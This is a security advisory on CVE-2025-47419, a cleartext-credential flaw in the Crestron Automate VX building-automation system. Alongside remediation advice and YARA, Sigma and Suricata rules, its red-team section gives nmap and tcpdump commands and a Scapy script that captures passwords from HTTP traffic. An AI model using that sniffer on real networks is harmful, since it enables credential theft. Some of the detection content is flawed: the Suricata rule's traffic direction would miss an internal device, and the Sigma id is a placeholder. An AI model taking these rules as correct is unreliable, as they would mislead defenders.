CVE-2025-47419

Executive Summary

CVE-2025-47419 is a critical security vulnerability in Crestron Automate VX, a building automation and control system. The vulnerability allows cleartext transmission of sensitive information, specifically user passwords, over non-secure network ports (HTTP). An attacker with network access can sniff traffic to capture credentials, leading to full system compromise. The affected versions range from 5.6.8161.21536 through 6.4.0.49. No patch is currently available, and no public proof-of-concept (PoC) code has been released.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary hardware/software appliance vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability description, a realistic CVSS v3.1 score would be:

• Attack Vector (AV): Network (N) - The attacker must be on the same network segment.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed to sniff.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
• Confidentiality (C): High (H) - Passwords are exposed.
• Integrity (I): None (N) - No data modification.
• Availability (A): None (N) - No denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Score: 7.5 (High)

Threat Level: High. The vulnerability is easy to exploit (network sniffing) and exposes critical credentials.

Deep Dive & Mechanics

The Crestron Automate VX system provides a Web UI and API for management. The vulnerability lies in the fact that these interfaces are accessible over unencrypted HTTP (ports 80, 8080, etc.) in addition to or instead of HTTPS. When a user logs in or performs administrative actions, credentials and session tokens are transmitted in cleartext.

Attack Scenario:

1. An attacker gains access to the same network segment as the Crestron Automate VX device (e.g., via a compromised workstation, rogue access point, or physical access).
2. The attacker uses a packet sniffer (e.g., Wireshark, tcpdump) to capture network traffic.
3. The attacker filters for HTTP traffic to/from the Crestron device's IP address.
4. The attacker extracts login credentials (username/password) from POST requests or API calls.
5. The attacker uses these credentials to log into the Web UI or API, gaining full administrative control over the building automation system.

Affected Components:

• Web UI (HTTP)
• REST API (HTTP)
• Any other management interface using cleartext

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable code is the entire HTTP stack that does not enforce HTTPS. A patched version would:

• Disable HTTP access entirely.
• Redirect all HTTP requests to HTTPS.
• Enforce HSTS (HTTP Strict Transport Security).
• Use secure cookies with the Secure and HttpOnly flags.

Example of vulnerable configuration (pseudo-code):

# Vulnerable: HTTP server listening on port 80
app.run(host='0.0.0.0', port=80, ssl_context=None)

Example of patched configuration:

# Patched: HTTPS only
app.run(host='0.0.0.0', port=443, ssl_context=('cert.pem', 'key.pem'))

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: Crestron Automate VX device (version 5.6.8161.21536 to 6.4.0.49) on a local network.
2. Attacker Machine: Kali Linux with Wireshark and tcpdump installed.
3. Network: Same subnet as the target.

Exploitation Steps:

1. Identify the Crestron device IP address (e.g., via Nmap scan: nmap -p 80,443,8080 192.168.1.0/24).
2. Start packet capture on the attacker machine:

   sudo tcpdump -i eth0 host 192.168.1.100 -w capture.pcap
   

3. Wait for a legitimate user to log in to the Web UI or API.
4. Stop the capture and analyze with Wireshark:
   • Filter: http.request.method == POST
   • Look for username and password fields in the POST data.
5. Extract credentials and use them to access the device.

Automated Script (Python with Scapy):

from scapy.all import *

def sniff_creds(pkt):
    if pkt.haslayer(TCP) and pkt.haslayer(Raw):
        payload = pkt[Raw].load.decode(errors='ignore')
        if 'password' in payload.lower():
            print(f"[+] Captured: {payload}")

sniff(iface='eth0', filter='tcp port 80', prn=sniff_creds, store=0)

Blue Team (Defensive)

Detection:

• Monitor for unauthorized devices on the network.
• Use network access control (NAC) to prevent rogue devices.
• Enable HTTPS enforcement on the Crestron device (if available in future patches).
• Use a VPN or encrypted tunnel for management traffic.

Honeypot:

• Deploy a fake Crestron Automate VX instance on a separate VLAN to detect scanning and sniffing attempts.

Indicators of Compromise (IOCs)

• Network Traffic:
  • HTTP POST requests to /login or /api/auth endpoints.
  • Cleartext credentials in HTTP packets.
  • Unencrypted session tokens (e.g., sessionid=...).
• Logs:
  • Unusual login attempts from unexpected IP addresses.
  • Multiple failed logins followed by a successful login.
• Files:
  • PCAP files containing HTTP traffic to the Crestron device.

Example IOC (PCAP):

GET / HTTP/1.1
Host: 192.168.1.100
Authorization: Basic YWRtaW46cGFzc3dvcmQ=

Detection Engineering

YARA Rule

rule Detect_Crestron_Cleartext_Creds {
    meta:
        description = "Detects cleartext credentials in HTTP traffic to Crestron Automate VX"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-47419"
    strings:
        $crestron_ui = "Crestron" nocase
        $password_field = "password" nocase
        $http_post = "POST" nocase
    condition:
        $http_post and $password_field and $crestron_ui
}

Sigma Rule

title: Cleartext Credentials in HTTP Traffic to Crestron Automate VX
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects cleartext password transmission in HTTP traffic to Crestron devices
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 80
        http.method: POST
        http.content_type: application/x-www-form-urlencoded
        http.request_body|contains: 'password'
    condition: selection
falsepositives:
    - Legitimate HTTP traffic to other devices
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET 80 (msg:"CVE-2025-47419 Crestron Cleartext Password"; flow:to_server,established; content:"password"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable HTTP Access: If possible, disable port 80 on the Crestron device via its configuration interface.
2. Use VPN: Place the Crestron device on a separate VLAN and require VPN access for management.
3. Network Segmentation: Isolate the Crestron device from untrusted networks.
4. Monitor Traffic: Deploy network monitoring to detect cleartext credential transmission.

Long-Term Fix:

• Apply a firmware patch from Crestron when available.
• Replace the device with a model that enforces HTTPS.

Workaround:

• Use a reverse proxy (e.g., Nginx) in front of the Crestron device to terminate HTTPS and forward to the device over HTTP (only if the proxy is on a secure network).

Valters IT